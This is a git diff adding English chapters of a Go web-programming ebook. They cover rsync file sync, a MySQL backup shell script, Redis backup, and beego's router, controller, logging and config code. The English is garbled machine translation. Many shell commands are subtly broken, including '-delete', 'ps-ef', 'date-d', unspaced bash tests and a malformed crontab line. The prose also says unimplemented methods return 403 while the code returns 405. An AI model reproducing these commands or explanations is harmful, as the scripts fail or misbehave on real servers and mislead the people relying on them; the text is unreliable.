+ +### Rsync Configure + +rsync mainly in the following three configuration files rsyncd.conf( main configuration file ), rsyncd.secrets( password file ), rsyncd.motd(rysnc server information ). + +Several documents about this configuration we can refer to the official website or other websites rsync introduction, here the server and client how to open + +- Services client opens: + + `# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf` + +- daemon parameter approach is to run rsync in server mode. Join the rsync boot + + `echo 'rsync - daemon' >> /etc/rc.d/rc.local` + +Set rsync password + + echo 'Your Username: Your Password' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + +- Client synchronization: + +Clients can use the following command to synchronize the files on the server: + + rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www/var/rsync/backup + +This command, briefly explain a few points: + +1. `-avzP` is what the reader can use the `-help` Show +2. `-delete` for example A, deleted a file, the time synchronization, B will automatically delete the corresponding files +3. `-Password-file` client/etc/rsyncd.secrets set password, and server to `/etc/rsyncd.secrets` the password the same, so cron is running, you do not need the password +4. This command in the " User Name" for the service side of the `/etc/rsyncd.secrets` the user name +5. This command 192.168.145.5 as the IP address of the server +6. :: www, note the two: number, www as a server configuration file `/etc/rsyncd.conf` in [www], meaning that according to the service on the client `/etc/rsyncd.conf` to synchronize them [www] paragraph, a: number, when used according to the configuration file does not directly specify the directory synchronization. + +In order to synchronize real-time, you can set the crontab, keeping rsync synchronization every minute, of course, users can also set the level of importance depending on the file type of synchronization frequency. + +## MySQL backup + +MySQL database application is still the mainstream, the current MySQL backup in two ways: hot backup and cold backup, hot backup is currently mainly used master/slave mode (master/slave) mode is mainly used for database synchronization separate read and write, but also can be used for hot backup data ), on how to configure this information, we can find a lot. Cold backup data, then that is a certain delay, but you can guarantee that the time period before data integrity, such as may sometimes be caused by misuse of our loss of data, then the master/slave model is able to retrieve lost data, but through cold backup can partially restore the data. + +Cold backup shell script is generally used to achieve regular backup of the database, and then rsync synchronization through the above described non-local one server room. + +The following is a scheduled backup MySQL backup script, we use the mysqldump program, this command can be exported to a database file. + + + #!/bin/bash + # The following configuration information, modify their own + mysql_user="USER" #MySQL backup user + mysql_password="PASSWORD" # MySQL backup user's password + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" # MySQL coding + backup_db_arr=("db1" "db2") # To back up the database name, separated by spaces separated by a plurality of such("db1" "db2" "db3") + backup_location=/var/www/mysql # backup data storage location, please do not end with a "/", this can keep the default, the program will automatically create a folder + expire_backup_delete="ON" # delete outdated backups is turned OFF to ON ON to OFF + expire_days=3 # default expiration time for the three days the number of days, this is only valid when the expire_backup_delete open + + # We do not need to modify the following start + backup_time=`date +%Y%m%d%H%M` # define detailed time backup + backup_Ymd=`date +%Y-%m-%d` # define the backup directory date time + backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date + backup_dir=$backup_location/$backup_Ymd # full path to the backup folder + welcome_msg="Welcome to use MySQL backup tools!" # greeting + + # Determine whether to start MYSQL, mysql does not start the backup exit + mysql_ps=`ps-ef | grep mysql | wc-l` + mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l` + if [[$mysql_ps==0]-o [$mysql_listen==0]]; then + echo "ERROR: MySQL is not running! backup stop!" + exit + else + echo $welcome_msg + fi + + # Connect to mysql database, can not connect to the backup exit + mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end + use mysql; + select host, user from user where user='root' and host='localhost'; + exit + end + + flag=`echo $?` + if [$flag!="0"]; then + echo "ERROR: Can't connect mysql server! backup stop!" + exit + else + echo "MySQL connect ok! Please wait......" + # Judgment does not define the backup database, if you define a backup is started, otherwise exit the backup + if ["$backup_db_arr"!=""]; then + # dbnames=$(cut-d ','-f1-5 $backup_database) + # echo "arr is(${backup_db_arr [@]})" + for dbname in ${backup_db_arr [@]} + do + echo "database $dbname backup start..." + `mkdir -p $backup_dir` + `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz` + flag=`echo $?` + if [$flag=="0"]; then + echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup fail!" + fi + + done + else + echo "ERROR: No database to backup! backup stop" + exit + fi + # If you open the delete expired backup, delete operation + if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then + # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;` + `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All database backup success! Thank you!" + exit + fi + + +Modify shell script attributes: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +Set attributes, add the command crontab, we set up regular automatic backups every day 00:00, then the backup script directory/var/www/mysql directory is set to rsync synchronization. + + 00 00 *** /root/mysql_backup.sh + +## MySQL Recovery + +Earlier MySQL backup into hot backup and cold backup, hot backup main purpose is to be able to recover in real time, such as an application server hard disk failure occurred, then we can modify the database configuration file read and write into slave so that you can minimize the time interrupt service. + +But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: + + mysql -u username -p databse < backup.sql + +You can see, export and import database data is fairly simple, but if you also need to manage permissions, or some other character set, it may be a little more complicated, but these can all be done through a number of commands. + +## Redis backup + +Redis is our most used NoSQL, its backup is also divided into two kinds: hot backup and cold backup, Redis also supports master/slave mode, so our hot backup can be achieved in this way, we can refer to the corresponding configuration the official document profiles, quite simple. Here we introduce cold backup mode: Redis will actually timed inside the memory cache data saved to the database file inside, we just backed up the corresponding file can be, is to use rsync backup to a previously described non-local machine room can be achieved. + +## Redis recovery + +Redis Recovery divided into hot and cold backup recovery backup and recovery, hot backup and recovery purposes and methods of recovery with MySQL, as long as the modified application of the corresponding database connection. + +But sometimes we need to cold backup to recover data, Redis cold backup and recovery is actually just put the saved database file copy to Redis working directory, and then start Redis on it, Redis at boot time will be automatically loaded into the database file memory, the start speed of the database to determine the size of the file. + +## Summary + +This section describes the application of part of our backup and recovery, that is, how to do disaster recovery, including file backup, database backup. Also introduced different systems using rsync file synchronization, MySQL database and Redis database backup and recovery, hope that through the introduction of this section, you can give as a developer of products for online disaster recovery program provides a reference solution. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment](12.3.md) +- Next section: [Summary](12.5.md) diff --git a/en/eBook/12.5.md b/en/eBook/12.5.md new file mode 100644 index 00000000..99065067 --- /dev/null +++ b/en/eBook/12.5.md @@ -0,0 +1,20 @@ +# 12.5 Summary + +This chapter discusses how to deploy and maintain Web applications we develop some related topics. The content is very important to be able to create a minimum maintenance based applications running smoothly, we must consider these issues. + +Specifically, the discussion in this chapter include: + +- Create a robust logging system that can record an error in case of problems and notify the system administrator +- Handle runtime errors that may occur, including logging, and how to display to the user-friendly system there is a problem +- Handling 404 errors, telling the user can not find the requested page +- Deploy applications to a production environment (including how to deploy updates) +- How to deploy highly available applications +- Backup and restore files and databases + +After reading this chapter, for the development of a Web application from scratch, those issues need to be considered, you should already have a comprehensive understanding. This chapter will help you in the actual environment management in the preceding chapter describes the development of the code. + +## Links + +- [Directory](preface.md) +- Previous section: [Backup and recovery](12.4.md) +- Next chapter: [Build a web framework](13.0.md) diff --git a/en/eBook/13.0.md b/en/eBook/13.0.md new file mode 100644 index 00000000..d7713427 --- /dev/null +++ b/en/eBook/13.0.md @@ -0,0 +1,11 @@ +# 13 Build a web framework + +Preceding twelve chapter describes how to develop Web applications through Go, introduced a lot of basic knowledge, development tools and techniques, then we pass this knowledge in this chapter to implement a simple Web framework. Go language to achieve through a complete frame design, the main contents of this framework, the first section describes the structure of a Web framework planning, such as using the MVC pattern to develop, program execution process design, etc.; second section describes the framework the first feature: Routing, how to get access to the URL mapped to the corresponding processing logic; third section describes the processing logic, how to design a common controller, object inheritance after the handler how to handle response and request; fourth section describes how to framework some auxiliary functions, such as log processing, configuration information, etc.; fifth section describes how to implement a blog-based Web framework, including Bowen published, modify, delete, display a list of other operations. + +Through such a complete project example, I expect to be able to allow readers to understand how to develop Web applications, how to build your own directory structure, how to achieve routing, how to achieve the MVC pattern and other aspects of developing content. In the framework prevalent today, MVC is no longer a myth. Many programmers often heard discussions which frame is good, which frame is not good, in fact, the framework is only a tool, there is no good or bad, only suitable or unsuitable, for his is the best, so we write their own framework for the church, then different needs can use their own ideas to be realized. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 12 summary](12.5.md) +- Next section: [Project program](13.1.md) diff --git a/en/eBook/13.1.md b/en/eBook/13.1.md new file mode 100644 index 00000000..e77a0586 --- /dev/null +++ b/en/eBook/13.1.md @@ -0,0 +1,62 @@ +# 13.1 Project program + +Need to do anything good plan, then we in the development blog system, also need to do the planning, how to set up the directory structure, how to understand the flow of the project, when we understand the execution of the application process, then the next the design becomes relatively easy to code + +## GOPATH and project settings + +Assuming that the file system specified GOPATH ordinary directory name, of course, we can easily set up a directory name, then its path into GOPATH. GOPATH described earlier can be multiple directories: set the environment variable in the window system ; in linux/MacOS system as long as the input terminal command `export gopath =/home/astaxie/gopath`, but must ensure that GOPATH the code below three directories pkg directory, bin, src. New Project source code in src directory, now tentatively our blog directory called beeblog, the following is in the window environment variables and directory structure screenshot: + +![](images/13.1.gopath.png?raw=true) + +Figure 13.1 GOPATH setting environment variables + +![](images/13.1.gopath2.png?raw=true) + +Figure 13.2 working directory in $ gopath/src under + +## Application flowchart + +Blog system is based on the model - view - controller of this design pattern. MVC is a logic of the application layer and the presentation layer separation is structured. In practice, due to the presentation layer separate from the Go out, so it allows your page includes only a small script. + +- Models(Model) represents the data structure. Generally speaking, the model class will contain remove, insert, update database information, etc. These functions. +- View(View) is displayed to the user's information structure and style. A view is usually a web page, but in Go, a view can also be a page fragment, such as page header, footer. It can also be an RSS page, or any other type of " page ", Go template package has been implemented to achieve a good part of the View layer of functionality. +- Controller(Controller) is a model, view, and anything else necessary for processing the HTTP request intermediary between resources and generate web pages. + +The following figure shows the framework of the project design is how the data flow throughout the system: + +![](images/13.1.flow.png?raw=true) + +Figure 13.3 the frame data stream + +1. Main.go as an application portal, running blog initialize some basic resources needed, configuration information, listen port. +2. Check the HTTP request routing function, based on the URL and method to determine who( control layer ) to process the request forwarding resources. +3. If the cache file exists, it will bypass the normal process execution, is sent directly to the browser. +4. Safety Testing: The application before the call controller, HTTP requests, and any user submitted data will be filtered. +5. controller loading model, core libraries, auxiliary functions, as well as any treatment other resources required for a particular request, the controller is primarily responsible for handling business logic. +6. Output view layer rendering good to be sent to the Web browser content. If on the cache, the cache is first view, the routine for future requests. + +## Directory structure + +According to the above application process design, blog design the directory structure is as follows: + + |——main.go import documents + |——conf configuration files and processing module + |——controllers controller entry + |——models database processing module + |——utils useful function library + |——static static file directory + |——views view gallery + +## Frame design + +In order to achieve a quick blog to build, based on the above process design intends to develop a minimization framework, which includes routing capabilities, support for REST controllers, automated template rendering, log system, configuration management, and so on. + +## Summary + +This section describes the blog system to the directory from the setup GOPATH establish such basic information, but also a brief introduction of the framework structure using the MVC pattern, blog system data flow execution flow, and finally through these processes designed blog system directory structure, thus we basically completed a framework to build the next few sections we will achieve individually. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a web framework](13.0.md) +- Next section: [Customized routers](13.2.md) diff --git a/en/eBook/13.2.md b/en/eBook/13.2.md new file mode 100644 index 00000000..71943bd1 --- /dev/null +++ b/en/eBook/13.2.md @@ -0,0 +1,270 @@ +# 13.2 Customized routers + +## HTTP routing + +HTTP HTTP request routing components corresponding function handed process( or a struct method ), as described in the previous section structure, in the frame corresponds to a routing event handler, and the event comprises: + +- User requests a path(path)( e.g.:/user/123,/article/123), of course, the query string information(e.g., ? Id = 11) +- HTTP request method(method)(GET, POST, PUT, DELETE, PATCH, etc. ) + +The router is based on the user's request is forwarded to the respective event information processing function( control layer ). + +## Default route to achieve + +Have been introduced in section 3.4 Go's http package Detailed, which introduced the Go's http package how to design and implement routing, here continue to be an example to illustrate: + + func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + } + + http.Handle("/foo", fooHandler) + + http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + }) + + log.Fatal(http.ListenAndServe(":8080", nil)) + +The above example calls the http default DefaultServeMux to add a route, you need to provide two parameters, the first parameter is the resource you want users to access the URL path( stored in r.URL.Path), the second argument is about to be executed function to provide the user access to resources. Routing focused mainly on two ideas: + +- Add routing information +- According to the user request is forwarded to the function to be performed + +Go add default route is through a function `http.Handle` and `http.HandleFunc`, etc. to add, the bottom is called `DefaultServeMux.Handle(pattern string, handler Handler)`, this function will set the routing information is stored in a map information in `map [string] muxEntry`, which would address the above said first point. + +Go listening port, and then receives the tcp connection thrown Handler to process, the above example is the default nil `http.DefaultServeMux`, `DefaultServeMux.ServeHTTP` by the scheduling function, the previously stored map traverse route information, and the user URL accessed matching to check the corresponding registered handler, so to achieve the above mentioned second point. + + for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } + } + +## Beego routing framework to achieve + +Almost all Web applications are based routing to achieve http default router, but the router comes Go has several limitations: + +- Does not support parameter setting, such as/user/: uid This pan type matching +- Not very good support for REST mode, you can not restrict access methods, such as the above example, user access/foo, you can use GET, POST, DELETE, HEAD, etc. Access +- General site routing rules too much, write cumbersome. I'm in front of an API to develop their own applications, routing rules have thirty several, in fact, this route after more than can be further simplified by a simplified method of the struct + +beego framework routers based on the above few limitations to consider the design of a REST approach to achieve routing, routing design is based on two points above the default design Go to consider: store -and-forward routing routing + +### Storing a routing + +For the previously mentioned restriction point, we must first solve the arguments supporting the need to use regular, second and third point we passed a viable alternative to solve, REST method corresponds to a struct method to go, and then routed to the struct instead of a function, so that when the forward routing method can be performed according to different methods. + +Based on the above ideas, we designed two data types controllerInfo( save path and the corresponding struct, here is a reflect.Type type ) and ControllerRegistor(routers are used to save user to add a slice of routing information, and the application of the framework beego information ) + + type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type + } + + type ControllerRegistor struct { + routers []*controllerInfo + Application *App + } + +ControllerRegistor external interface function has + + func(p *ControllerRegistor) Add(pattern string, c ControllerInterface) + +Detailed implementation is as follows: + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + + } + +### Static routing + +Above we achieve the realization of dynamic routing, Go the http package supported by default static file handler FileServer, because we have implemented a custom router, then the static files also need to set their own, beego static folder path stored in the global variable StaticDir, StaticDir is a map type to achieve the following: + + func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app + } + +Applications can use the static route is set to achieve the following manner: + + beego.SetStaticPath("/img", "/static/img") + +### Forwarding route + +Forwarding route in the routing is based ControllerRegistor forwarding information, detailed achieve the following code shows: + + // AutoRoute + func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } + } + +### Getting started + +After the design is based on the routing can solve the previously mentioned three restriction point, using a method as follows: + +The basic use of a registered route: + + beego.BeeApp.RegisterController("/", &controllers.MainController{}) + +Parameter registration: + + beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) + +Are then matched: + + beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) + +## Links + +- [Directory](preface.md) +- Previous section: [Project program](13.1.md) +- Next section: [Design controllers](13.3.md) diff --git a/en/eBook/13.3.md b/en/eBook/13.3.md new file mode 100644 index 00000000..f99f969d --- /dev/null +++ b/en/eBook/13.3.md @@ -0,0 +1,168 @@ +# 13.3 Design controllers + +Most of the traditional MVC framework is based on the design of postfix Action mapping, however, is now popular REST-style Web architecture. Although the use of Filter or rewrite URL rewriting can be achieved through a REST-style URL, but why not just design a new REST-style MVC framework it ? This section is based on this idea on how to start from scratch to design a REST-style MVC framework based on the controller, to maximize simplify Web application development, or even write a single line of code to achieve the "Hello, world". + +## Controller role + +MVC design pattern is the most common Web application development framework model, by separating Model( model ), View( view ) and the Controller( controller ) can be more easily achieved easily extensible user interface(UI). Model refers to the background data returned ; View refers to the need to render the page, usually a template page, the content is usually rendered HTML; Controller refers to Web developers to write controllers handle different URL, such as the route described in the previous section is a URL request forwarded to the process controller, controller in the whole MVC framework plays a central role, responsible for handling business logic, so the controller is an essential part of the whole framework, Model and View for some business needs can not write, for example, no data processing logic processing, no page output 302 and the like do not need to adjust the Model and View, but the controller of this part is essential. + +## Beego the REST design + +Previous section describes the routing function to achieve a registered struct, and the struct implements REST approach, so we need to design a controller for logic processing base class, where the main design of the two types, a struct, an interface + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //Initialize the context and subclass name + Prepare() //some processing before execution begins + Get() //method = GET processing + Post() //method = POST processing + Delete() //method = DELETE processing + Put() //method = PUT handling + Head() //method = HEAD processing + Patch() //method = PATCH treatment + Options() //method = OPTIONS processing + Finish() //executed after completion of treatment + Render() error //method executed after the corresponding method to render the page + } + +Then add function described earlier, when a route is defined ControllerInterface type, so long as we can implement this interface, so our base class Controller to achieve the following methods: + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + + +At the controller base class already implements the interface defined functions performed by routing the appropriate controller according url principles will be followed by implementation of the following: + +Init() initializes +Prepare() before the execution of the initialization, each subclass can inherit to implement the function +method() depending on the method to perform different functions: GET, POST, PUT, HEAD, etc. sub-classes to implement these functions, if not achieved, then the default is 403 +Render() optional, according to a global variable to determine whether to execute AutoRender +Finish() after the implementation of the action, each subclass inherits the function can be achieved + +## Application guide + +Above beego Framework base class to complete the design of the controller, then we in our application can be to design our approach: + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The way we achieved above subclass MainController, implements Get method, so if the user through other means(POST/HEAD, etc. ) to access the resource will return 403, and if it is Get access, because we set the AutoRender = true, then play in the implementation of the Get method is performed automatically after the Render function, it will display the following interface: + +![](images/13.4.beego.png?raw=true) + +index.tpl code is shown below, we can see the data set and display are quite simple: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## Links + +- [Directory](preface.md) +- Previous section: [Customized routers](13.2.md) +- Next section: [Logs and configurations](13.4.md) diff --git a/en/eBook/13.4.md b/en/eBook/13.4.md new file mode 100644 index 00000000..5934648e --- /dev/null +++ b/en/eBook/13.4.md @@ -0,0 +1,253 @@ +# 13.4 Logs and configurations + +## The importance of logs and configuration + +It has been introduced in the log in our program development plays a very important role, through the debug log we can record our information, had introduced a logging system seelog, depending on the different log level output of this program for program development and deployment is crucial. We can set the level in program development low point, when the level is set to deploy high, so we developed the debugging information can be masked. + +Configuration module for application deployment involves a number of different server configuration information is very useful, for example, some database configuration information, monitor port, listen address, etc. can all be configured via the configuration file, so that our application will have great flexibility, the configuration file can be configured to be deployed in different machines, you can connect different databases and the like. + +## Beego log design + +beego deployment log design ideas from seelog, depending on the level for logging, but beego relatively lightweight logging system design, the use of the system log.Logger interfaces, the default output to os.Stdout, users can implement this interface then through beego.SetLogger set custom output, detailed implementation is as follows: + + + // Log levels to control the logging output. + const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical + ) + + // logLevel controls the global log level used by the logger. + var level = LevelTrace + + // LogLevel returns the global log level and can be used in + // own implementations of the logger interface. + func Level() int { + return level + } + + // SetLogLevel sets the global log level used by the simple + // logger. + func SetLevel(l int) { + level = l + } + +This section implements the above log log grading system, the default level is the Trace, users can set different grading SetLevel. + + // logger references the used application logger. + var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + + // SetLogger sets a new logger. + func SetLogger(l *log.Logger) { + BeeLogger = l + } + + // Trace logs a message at trace level. + func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } + } + + // Debug logs a message at debug level. + func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } + } + + // Info logs a message at info level. + func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } + } + + // Warning logs a message at warning level. + func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } + } + + // Error logs a message at error level. + func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } + } + + // Critical logs a message at critical level. + func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } + } + +Above this piece of code initializes a BeeLogger default object, the default output to os.Stdout, users can achieve a logger beego.SetLogger to set the interface output. Which are to achieve the six functions: + +- Trace( general record information, for example as follows:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug( debug information, for example as follows:) + - "Web page requested: http://somesite.com Params = '...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type: PNG Size: 20000" +- Info( print information, for example as follows:) + - "Web server restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123..." + - "Service paused. Waiting for 'resume' call" +- Warn( warning messages, for example as follows:) + - "Cache corrupted for file = 'test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error( error messages, for example as follows:) + - "Internal error. Cannot process request# 12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical( fatal error, for example as follows:) + - "Critical panic received:.... Shutting down" + - "Fatal error:... App is shutting down to prevent data corruption or loss" + +Each function can be seen on the level of judgment which has, so if we set at deployment time level = LevelWarning, then Trace, Debug, Info will not have any of these three functions output, and so on. + +## Beego configuration design + +Configuration information parsing, beego implements a key = value configuration file read, similar ini configuration file format is a file parsing process, and then parse the data saved to the map, the last time the call through several string, int sort of function call returns the corresponding value, see the following specific implementation: + +First define some ini configuration file some global constants: + + var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} + ) + +Defines the format of the configuration file: + + // A Config represents the configuration. + type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex + } + + +Defines a function parses the file, parses the file of the process is to open the file, and then read line by line, parse comments, blank lines, and key = value data: + + // ParseFile creates a new Config and parses the file configuration from the + // named file. + func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil + } + +Below reads the configuration file to achieve a number of functions, the return value is determined as bool, int, float64 or string: + + // Bool returns the boolean value for a given key. + func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) + } + + // Int returns the integer value for a given key. + func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) + } + + // Float returns the float value for a given key. + func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) + } + + // String returns the string value for a given key. + func (c *Config) String(key string) string { + return c.data[key] + } + +## Application guide + +The following function is an example of the application, to access remote URL address Json data to achieve the following: + + func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } + } + +Function calls the framework of the log function `beego.Critical` function is used to being given, called `beego.AppConfig.String(" url ")` is used to obtain the configuration information in the file, configuration files are as follows(app.conf ): + + appname = hs + url ="http://www.api.com/api.html" + +## Links + +- [Directory](preface.md) +- Previous section: [Design controllers](13.3.md) +- Next section: [Add, delete and update blogs](13.5.md) diff --git a/en/eBook/13.5.md b/en/eBook/13.5.md new file mode 100644 index 00000000..acf2de14 --- /dev/null +++ b/en/eBook/13.5.md @@ -0,0 +1,261 @@ +# 13.5 Add, delete and update blogs + +Introduced in front beego framework to achieve the overall 